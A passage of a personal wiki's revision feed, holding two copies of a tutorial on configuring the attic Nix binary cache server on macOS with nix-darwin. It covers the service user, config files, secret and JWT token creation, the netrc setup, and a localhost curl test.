  logPath = &amp;quot;/var/log/atticd&amp;quot;;&lt;br /&gt;
  attic-client = pkgs.attic-client;&lt;br /&gt;
  attic-server = pkgs.attic-server;&lt;br /&gt;
in&lt;br /&gt;
{&lt;br /&gt;
  environment.systemPackages = [&lt;br /&gt;
    attic-client&lt;br /&gt;
    attic-server&lt;br /&gt;
  ];&lt;br /&gt;
  launchd.daemons.attic = {&lt;br /&gt;
    script = &#039;&#039;&lt;br /&gt;
      ATTIC_SERVER_TOKEN_HS256_SECRET_BASE64=&amp;quot;$(cat /etc/attic/secret.base64)&amp;quot;&lt;br /&gt;
      export ATTIC_SERVER_TOKEN_HS256_SECRET_BASE64&lt;br /&gt;
      exec ${attic-server}/bin/atticd --config /etc/attic/atticd.toml&lt;br /&gt;
    &#039;&#039;;&lt;br /&gt;
    serviceConfig = {&lt;br /&gt;
      KeepAlive = true;&lt;br /&gt;
      StandardOutPath = &amp;quot;${logPath}/attic.stdout.log&amp;quot;;&lt;br /&gt;
      StandardErrorPath = &amp;quot;${logPath}/attic.stderr.log&amp;quot;;&lt;br /&gt;
      UserName = &amp;quot;attic&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
  };&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The preceding launchd daemon script reads the attic secret token into an environment variable and starts the attic server using the configuration stored in &amp;lt;code&amp;gt;atticd.toml&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Make sure that you have a attic runtime directory:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;sudo mkdir -m700 /var/attic&lt;br /&gt;
sudo chown attic:attic /var/attic&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;configuring-the-client&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Configuring the client =&lt;br /&gt;
&lt;br /&gt;
Import &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt; into your main &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; configuration:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;nix&amp;quot;&amp;gt;# darwin-configuration.nix&lt;br /&gt;
{ config, pkgs, ... }:&lt;br /&gt;
{&lt;br /&gt;
  imports = [&lt;br /&gt;
    # ...&lt;br /&gt;
    ./attic.nix&lt;br /&gt;
    # ...&lt;br /&gt;
  ];&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Then, rebuild your &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; system using &amp;lt;code&amp;gt;darwin-rebuild switch&amp;lt;/code&amp;gt;. On my system, I use the following invocation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;darwin-rebuild switch --flake $DOTFILES/nix/generic&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Next, create a JSON Web Token (JWT) for a cache named after your computer’s name. You can use this JWT with your local Nix builder:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;sudo -u attic \&lt;br /&gt;
  ATTIC_SERVER_TOKEN_HS256_SECRET_BASE64=&amp;quot;$(sudo -u attic cat /etc/attic/secret.base64)&amp;quot; \&lt;br /&gt;
  atticadm make-token \&lt;br /&gt;
  --config /etc/attic/atticd.toml \&lt;br /&gt;
  --sub &amp;quot;$(hostname)&amp;quot; \&lt;br /&gt;
  --validity &amp;quot;1 month&amp;quot; \&lt;br /&gt;
  --pull &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --push &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --delete &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --create-cache &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --configure-cache &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --configure-cache-retention &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --destroy-cache &amp;quot;$(hostname)-*&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The JWT created in his preceding &amp;lt;code&amp;gt;make-token&amp;lt;/code&amp;gt; command has broad permissions. Please adjust permissions to your liking. attic outputs the JWT token in your shell session.&lt;br /&gt;
&lt;br /&gt;
Finally, try logging in with the generated token:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Port configured in atticd.toml&lt;br /&gt;
attic login &amp;quot;$(hostname)&amp;quot; http://127.0.0.1:18080 &amp;quot;$YOUR_TOKEN&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Did it work? Great. To tell the Nix builder to use attic as its cache, it needs to have credentials available in a &amp;lt;code&amp;gt;netrc&amp;lt;/code&amp;gt; file. Furthermore, you need to add the cache’s public key as a trusted key.&lt;br /&gt;
&lt;br /&gt;
First, retrieve the public key and &amp;lt;code&amp;gt;netrc&amp;lt;/code&amp;gt; file. The preceding &amp;lt;code&amp;gt;attic login&amp;lt;/code&amp;gt; invocation created a &amp;lt;code&amp;gt;config.toml&amp;lt;/code&amp;gt; file in &amp;lt;code&amp;gt;$HOME/.config/attic&amp;lt;/code&amp;gt;, which conveniently contains the JWT token for a &amp;lt;code&amp;gt;netrc&amp;lt;/code&amp;gt; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# This will try to grab the netrc information that attic created after logging&lt;br /&gt;
# in&lt;br /&gt;
sed -n -E -e &#039;s/token = &amp;quot;(.+)&amp;quot;/machine .+\npassword \1/p&#039; \&lt;br /&gt;
  $HOME/.config/attic/config.toml |&lt;br /&gt;
  sudo tee /etc/nix/netrc&lt;br /&gt;
sudo chmod 440 /etc/nix/netrc&lt;br /&gt;
# Let me know if this sed expression worked&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You can show the public key using &amp;lt;code&amp;gt;attic cache info&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;attic cache info &amp;quot;$(hostname)-default&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You should see the following output:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;               Public: false&lt;br /&gt;
           Public Key: XXXXXXX-default:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
Binary Cache Endpoint: https://XXXXXXXXXXXXX:18080/XXXXXXX-default&lt;br /&gt;
         API Endpoint: https://XXXXXXXXXXXXX:18080/&lt;br /&gt;
      Store Directory: /nix/store&lt;br /&gt;
             Priority: 41&lt;br /&gt;
  Upstream Cache Keys: [&amp;amp;quot;cache.nixos.org-1&amp;amp;quot;]&lt;br /&gt;
     Retention Period: Global Default&amp;lt;/pre&amp;gt;&lt;br /&gt;
Store the preceding information in &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;nix&amp;quot;&amp;gt;# attic.nix&lt;br /&gt;
{ ... } :&lt;br /&gt;
let&lt;br /&gt;
  # make sure to insert the correct hostname here:&lt;br /&gt;
  hostname = &amp;quot;your-hostname&amp;quot;;&lt;br /&gt;
  # Insert the public key that you have created in the previous step&lt;br /&gt;
  public-key = &amp;quot;&amp;quot;;&lt;br /&gt;
  # Make sure the hostname, port, and cache name are correct&lt;br /&gt;
  cache-url = &amp;quot;http://127.0.0.1:18080/${hostname}-default&amp;quot;;&lt;br /&gt;
in&lt;br /&gt;
{&lt;br /&gt;
  nix.settings.substituters = [ cache-url ];&lt;br /&gt;
  nix.settings.trusted-public-keys = [&lt;br /&gt;
&lt;br /&gt;
    &amp;quot;${hostname}-default:${public-key}&amp;quot;&lt;br /&gt;
  ];&lt;br /&gt;
  nix.settings.trusted-substituters = [ cache-url ];&lt;br /&gt;
  # This file was created using the preceding sed script&lt;br /&gt;
  nix.settings.netrc-file = &amp;quot;/etc/nix/netrc&amp;quot;;&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;testing-the-cache&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Testing the cache =&lt;br /&gt;
&lt;br /&gt;
Now, rebuild &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; one more time. Every time you run Nix commands after that, Nix consults the local attic cache first. You can try this with any command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# This will look up hello in your local cache first&lt;br /&gt;
nix run nixpkgs#hello&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;troubleshooting&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Troubleshooting =&lt;br /&gt;
&lt;br /&gt;
Does Nix complain that your local cache isn’t a binary cache? Check that you can access the attic cache using curl first:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Might have copy the netrc file somewhere user-readable&lt;br /&gt;
curl --netrc-file /etc/nix/netrc -v -n \&lt;br /&gt;
  &amp;quot;http://localhost:18080/$(hostname)-default/nix-cache-info&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You should be able to see the following result:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[...]&lt;br /&gt;
&amp;amp;lt; content-type: text/x-nix-cache-info&lt;br /&gt;
&amp;amp;lt; date: Sat, 07 Sep 2024 08:15:50 GMT&lt;br /&gt;
&amp;amp;lt; content-length: 51&lt;br /&gt;
&amp;amp;lt;&lt;br /&gt;
WantMassQuery: 1&lt;br /&gt;
StoreDir: /nix/store&lt;br /&gt;
Priority: 41&lt;br /&gt;
[...]&amp;lt;/pre&amp;gt;&lt;br /&gt;
This way, you can see if the credentials are correct or not, and if your computer can reach attic at all.&lt;br /&gt;
&lt;br /&gt;
Furthermore, watch the attic logs under &amp;lt;code&amp;gt;/var/log/atticd&amp;lt;/code&amp;gt; for any error messages. You should be able to observe the following log output:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;==&amp;amp;gt; /var/log/atticd/attic.stderr.log &amp;amp;lt;==&lt;br /&gt;
[...]&lt;br /&gt;
Attic Server 0.1.0 (release)&lt;br /&gt;
Running migrations...&lt;br /&gt;
Starting API server...&lt;br /&gt;
Listening on 127.0.0.1:18080...&lt;br /&gt;
&lt;br /&gt;
==&amp;amp;gt; /var/log/atticd/attic.stdout.log &amp;amp;lt;==&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;further-reading&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Further reading =&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt;: https://github.com/LnL7/nix-darwin&lt;br /&gt;
* attic source code repository: https://github.com/zhaofengli/attic&lt;br /&gt;
* attic NixOS configuration: https://github.com/zhaofengli/attic/blob/main/nixos/atticd.nix&lt;br /&gt;
* How to serve and configure Nix store (not cache) via HTTP: https://nix.dev/manual/nix/2.18/package-management/binary-cache-substituter&lt;br /&gt;
[[Category:Garden]]&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Attic_on_Nix_Darwin&amp;diff=85</id>
		<title>Attic on Nix Darwin</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Attic_on_Nix_Darwin&amp;diff=85"/>
		<updated>2026-01-30T05:01:41Z</updated>

		<summary type="html">&lt;p&gt;Justus: Created page with &amp;quot;Here are some snippets of code required to configure and run [https://docs.attic.rs/ attic] on macOS with [https://github.com/LnL7/nix-darwin &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt;], and use it as an optional cache.  &amp;lt;span id=&amp;quot;files-required&amp;quot;&amp;gt;&amp;lt;/span&amp;gt; = Files required =  To make &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; configure attic correctly, you need a configuration module̵ &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt; and a configuration &amp;lt;code&amp;gt;atticd.toml&amp;lt;/code&amp;gt; for attic to use during runtime to use the correct paths f...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Here are some snippets of code required to configure and run [https://docs.attic.rs/ attic] on macOS with [https://github.com/LnL7/nix-darwin &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt;], and use it as an optional cache.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;files-required&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Files required =&lt;br /&gt;
&lt;br /&gt;
To make &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; configure attic correctly, you need a configuration module̵ &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt; and a configuration &amp;lt;code&amp;gt;atticd.toml&amp;lt;/code&amp;gt; for attic to use during runtime to use the correct paths for storage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;user-creation&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= User creation =&lt;br /&gt;
&lt;br /&gt;
First, create a user and group called &amp;lt;code&amp;gt;attic&amp;lt;/code&amp;gt; to host the attic server on your machine. In the &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt; file, add the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;nix&amp;quot;&amp;gt;# attic.nix&lt;br /&gt;
{ config, pkgs, ... }:&lt;br /&gt;
{&lt;br /&gt;
  users.groups.attic = {&lt;br /&gt;
    # Adjust the gid to your liking&lt;br /&gt;
    gid = 603;&lt;br /&gt;
  };&lt;br /&gt;
  users.users.attic = {&lt;br /&gt;
    createHome = false;&lt;br /&gt;
    description = &amp;quot;attic user&amp;quot;;&lt;br /&gt;
    gid = 603;&lt;br /&gt;
    # Adjust the uid to your liking&lt;br /&gt;
    uid = 603;&lt;br /&gt;
    isHidden = true;&lt;br /&gt;
  };&lt;br /&gt;
  users.knownGroups = [ &amp;quot;attic&amp;quot; ];&lt;br /&gt;
  users.knownUsers = [ &amp;quot;attic&amp;quot; ];&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This Nix configuration hides the attic user, and it can’t log in since shell set to &amp;lt;code&amp;gt;sbin/nologin&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span id=&amp;quot;attic-configuration&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Attic configuration =&lt;br /&gt;
&lt;br /&gt;
Create a configuration file &amp;lt;code&amp;gt;atticd.toml&amp;lt;/code&amp;gt; and add the following contents:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre class=&amp;quot;toml&amp;quot;&amp;gt;# atticd.toml&lt;br /&gt;
# Socket address to listen on, you might want to adjust the port used.&lt;br /&gt;
listen = &amp;amp;quot;127.0.0.1:18080&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Optionally, configure allowed hosts here&lt;br /&gt;
allowed-hosts = []&lt;br /&gt;
&lt;br /&gt;
[database]&lt;br /&gt;
# Attic&#039;s database is located in /var/attic/db.sqlite&lt;br /&gt;
url = &amp;amp;quot;sqlite:///var/attic/db.sqlite?mode=rwc&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Whether to enable sending on periodic heartbeat queries&lt;br /&gt;
#&lt;br /&gt;
# If enabled, a heartbeat query will be sent every minute&lt;br /&gt;
#heartbeat = false&lt;br /&gt;
&lt;br /&gt;
[storage]&lt;br /&gt;
# Store everything locally in /var/attic/storage&lt;br /&gt;
type = &amp;amp;quot;local&amp;amp;quot;&lt;br /&gt;
path = &amp;amp;quot;/var/attic/storage&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Default values from&lt;br /&gt;
# https://github.com/zhaofengli/attic/blob/main/server/src/config-template.toml&lt;br /&gt;
[chunking]&lt;br /&gt;
nar-size-threshold = 65536 # chunk files that are 64 KiB or larger&lt;br /&gt;
min-size = 16384            # 16 KiB&lt;br /&gt;
avg-size = 65536            # 64 KiB&lt;br /&gt;
max-size = 262144           # 256 KiB&lt;br /&gt;
&lt;br /&gt;
[compression]&lt;br /&gt;
type = &amp;amp;quot;zstd&amp;amp;quot;&lt;br /&gt;
#level = 8&lt;br /&gt;
&lt;br /&gt;
[garbage-collection]&lt;br /&gt;
# The frequency to run garbage collection at&lt;br /&gt;
interval = &amp;amp;quot;12 hours&amp;amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Write the attic configuration to &amp;lt;code&amp;gt;/etc/attic/atticd.toml&amp;lt;/code&amp;gt; using the following Nix snippet:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;nix&amp;quot;&amp;gt;# attic.nix&lt;br /&gt;
{ config, pkgs, ... }:&lt;br /&gt;
{&lt;br /&gt;
  # ...&lt;br /&gt;
  environment.etc = {&lt;br /&gt;
    atticd = {&lt;br /&gt;
      source = ./atticd.toml;&lt;br /&gt;
      target = &amp;quot;attic/atticd.toml&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
  };&lt;br /&gt;
  # ...&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;credentials-file&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Credentials file =&lt;br /&gt;
&lt;br /&gt;
Next, feed 32 bytes of random data into &amp;lt;code&amp;gt;base64&amp;lt;/code&amp;gt;. Pipe these 32 bytes into a secret, read-only file that only &amp;lt;code&amp;gt;attic&amp;lt;/code&amp;gt; can open:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;openssl rand 32 |&lt;br /&gt;
  base64 |&lt;br /&gt;
  sudo tee /etc/attic/secret.base64 &amp;gt; /dev/null&lt;br /&gt;
sudo chown attic:attic /etc/attic/secret.base64&lt;br /&gt;
sudo chmod 400 /etc/attic/secret.base64&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;attic-service-file&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Attic service file =&lt;br /&gt;
&lt;br /&gt;
Next, tell &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; to add a launchd service using the following snippet in the same &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt; file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;nix&amp;quot;&amp;gt;# attic.nix&lt;br /&gt;
{ config, pkgs, ... }:&lt;br /&gt;
let&lt;br /&gt;
  logPath = &amp;quot;/var/log/atticd&amp;quot;;&lt;br /&gt;
  attic-client = pkgs.attic-client;&lt;br /&gt;
  attic-server = pkgs.attic-server;&lt;br /&gt;
in&lt;br /&gt;
{&lt;br /&gt;
  environment.systemPackages = [&lt;br /&gt;
    attic-client&lt;br /&gt;
    attic-server&lt;br /&gt;
  ];&lt;br /&gt;
  launchd.daemons.attic = {&lt;br /&gt;
    script = &#039;&#039;&lt;br /&gt;
      ATTIC_SERVER_TOKEN_HS256_SECRET_BASE64=&amp;quot;$(cat /etc/attic/secret.base64)&amp;quot;&lt;br /&gt;
      export ATTIC_SERVER_TOKEN_HS256_SECRET_BASE64&lt;br /&gt;
      exec ${attic-server}/bin/atticd --config /etc/attic/atticd.toml&lt;br /&gt;
    &#039;&#039;;&lt;br /&gt;
    serviceConfig = {&lt;br /&gt;
      KeepAlive = true;&lt;br /&gt;
      StandardOutPath = &amp;quot;${logPath}/attic.stdout.log&amp;quot;;&lt;br /&gt;
      StandardErrorPath = &amp;quot;${logPath}/attic.stderr.log&amp;quot;;&lt;br /&gt;
      UserName = &amp;quot;attic&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
  };&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The preceding launchd daemon script reads the attic secret token into an environment variable and starts the attic server using the configuration stored in &amp;lt;code&amp;gt;atticd.toml&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Make sure that you have a attic runtime directory:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;sudo mkdir -m700 /var/attic&lt;br /&gt;
sudo chown attic:attic /var/attic&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;configuring-the-client&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Configuring the client =&lt;br /&gt;
&lt;br /&gt;
Import &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt; into your main &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; configuration:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;nix&amp;quot;&amp;gt;# darwin-configuration.nix&lt;br /&gt;
{ config, pkgs, ... }:&lt;br /&gt;
{&lt;br /&gt;
  imports = [&lt;br /&gt;
    # ...&lt;br /&gt;
    ./attic.nix&lt;br /&gt;
    # ...&lt;br /&gt;
  ];&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Then, rebuild your &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; system using &amp;lt;code&amp;gt;darwin-rebuild switch&amp;lt;/code&amp;gt;. On my system, I use the following invocation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;darwin-rebuild switch --flake $DOTFILES/nix/generic&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Next, create a JSON Web Token (JWT) for a cache named after your computer’s name. You can use this JWT with your local Nix builder:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;sudo -u attic \&lt;br /&gt;
  ATTIC_SERVER_TOKEN_HS256_SECRET_BASE64=&amp;quot;$(sudo -u attic cat /etc/attic/secret.base64)&amp;quot; \&lt;br /&gt;
  atticadm make-token \&lt;br /&gt;
  --config /etc/attic/atticd.toml \&lt;br /&gt;
  --sub &amp;quot;$(hostname)&amp;quot; \&lt;br /&gt;
  --validity &amp;quot;1 month&amp;quot; \&lt;br /&gt;
  --pull &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --push &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --delete &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --create-cache &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --configure-cache &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --configure-cache-retention &amp;quot;$(hostname)-*&amp;quot; \&lt;br /&gt;
  --destroy-cache &amp;quot;$(hostname)-*&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
The JWT created in his preceding &amp;lt;code&amp;gt;make-token&amp;lt;/code&amp;gt; command has broad permissions. Please adjust permissions to your liking. attic outputs the JWT token in your shell session.&lt;br /&gt;
&lt;br /&gt;
Finally, try logging in with the generated token:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Port configured in atticd.toml&lt;br /&gt;
attic login &amp;quot;$(hostname)&amp;quot; http://127.0.0.1:18080 &amp;quot;$YOUR_TOKEN&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Did it work? Great. To tell the Nix builder to use attic as its cache, it needs to have credentials available in a &amp;lt;code&amp;gt;netrc&amp;lt;/code&amp;gt; file. Furthermore, you need to add the cache’s public key as a trusted key.&lt;br /&gt;
&lt;br /&gt;
First, retrieve the public key and &amp;lt;code&amp;gt;netrc&amp;lt;/code&amp;gt; file. The preceding &amp;lt;code&amp;gt;attic login&amp;lt;/code&amp;gt; invocation created a &amp;lt;code&amp;gt;config.toml&amp;lt;/code&amp;gt; file in &amp;lt;code&amp;gt;$HOME/.config/attic&amp;lt;/code&amp;gt;, which conveniently contains the JWT token for a &amp;lt;code&amp;gt;netrc&amp;lt;/code&amp;gt; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# This will try to grab the netrc information that attic created after logging&lt;br /&gt;
# in&lt;br /&gt;
sed -n -E -e &#039;s/token = &amp;quot;(.+)&amp;quot;/machine .+\npassword \1/p&#039; \&lt;br /&gt;
  $HOME/.config/attic/config.toml |&lt;br /&gt;
  sudo tee /etc/nix/netrc&lt;br /&gt;
sudo chmod 440 /etc/nix/netrc&lt;br /&gt;
# Let me know if this sed expression worked&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You can show the public key using &amp;lt;code&amp;gt;attic cache info&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;attic cache info &amp;quot;$(hostname)-default&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You should see the following output:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;               Public: false&lt;br /&gt;
           Public Key: XXXXXXX-default:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
Binary Cache Endpoint: https://XXXXXXXXXXXXX:18080/XXXXXXX-default&lt;br /&gt;
         API Endpoint: https://XXXXXXXXXXXXX:18080/&lt;br /&gt;
      Store Directory: /nix/store&lt;br /&gt;
             Priority: 41&lt;br /&gt;
  Upstream Cache Keys: [&amp;amp;quot;cache.nixos.org-1&amp;amp;quot;]&lt;br /&gt;
     Retention Period: Global Default&amp;lt;/pre&amp;gt;&lt;br /&gt;
Store the preceding information in &amp;lt;code&amp;gt;attic.nix&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;nix&amp;quot;&amp;gt;# attic.nix&lt;br /&gt;
{ ... } :&lt;br /&gt;
let&lt;br /&gt;
  # make sure to insert the correct hostname here:&lt;br /&gt;
  hostname = &amp;quot;your-hostname&amp;quot;;&lt;br /&gt;
  # Insert the public key that you have created in the previous step&lt;br /&gt;
  public-key = &amp;quot;&amp;quot;;&lt;br /&gt;
  # Make sure the hostname, port, and cache name are correct&lt;br /&gt;
  cache-url = &amp;quot;http://127.0.0.1:18080/${hostname}-default&amp;quot;;&lt;br /&gt;
in&lt;br /&gt;
{&lt;br /&gt;
  nix.settings.substituters = [ cache-url ];&lt;br /&gt;
  nix.settings.trusted-public-keys = [&lt;br /&gt;
&lt;br /&gt;
    &amp;quot;${hostname}-default:${public-key}&amp;quot;&lt;br /&gt;
  ];&lt;br /&gt;
  nix.settings.trusted-substituters = [ cache-url ];&lt;br /&gt;
  # This file was created using the preceding sed script&lt;br /&gt;
  nix.settings.netrc-file = &amp;quot;/etc/nix/netrc&amp;quot;;&lt;br /&gt;
}&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;testing-the-cache&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Testing the cache =&lt;br /&gt;
&lt;br /&gt;
Now, rebuild &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt; one more time. Every time you run Nix commands after that, Nix consults the local attic cache first. You can try this with any command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# This will look up hello in your local cache first&lt;br /&gt;
nix run nixpkgs#hello&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;span id=&amp;quot;troubleshooting&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
= Troubleshooting =&lt;br /&gt;
&lt;br /&gt;
Does Nix complain that your local cache isn’t a binary cache? Check that you can access the attic cache using curl first:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Might have copy the netrc file somewhere user-readable&lt;br /&gt;
curl --netrc-file /etc/nix/netrc -v -n \&lt;br /&gt;
  &amp;quot;http://localhost:18080/$(hostname)-default/nix-cache-info&amp;quot;&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
You should be able to see the following result:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[...]&lt;br /&gt;
&amp;amp;lt; content-type: text/x-nix-cache-info&lt;br /&gt;
&amp;amp;lt; date: Sat, 07 Sep 2024 08:15:50 GMT&lt;br /&gt;
&amp;amp;lt; content-length: 51&lt;br /&gt;
&amp;amp;lt;&lt;br /&gt;
WantMassQuery: 1&lt;br /&gt;
StoreDir: /nix/store&lt;br /&gt;
Priority: 41&lt;br /&gt;
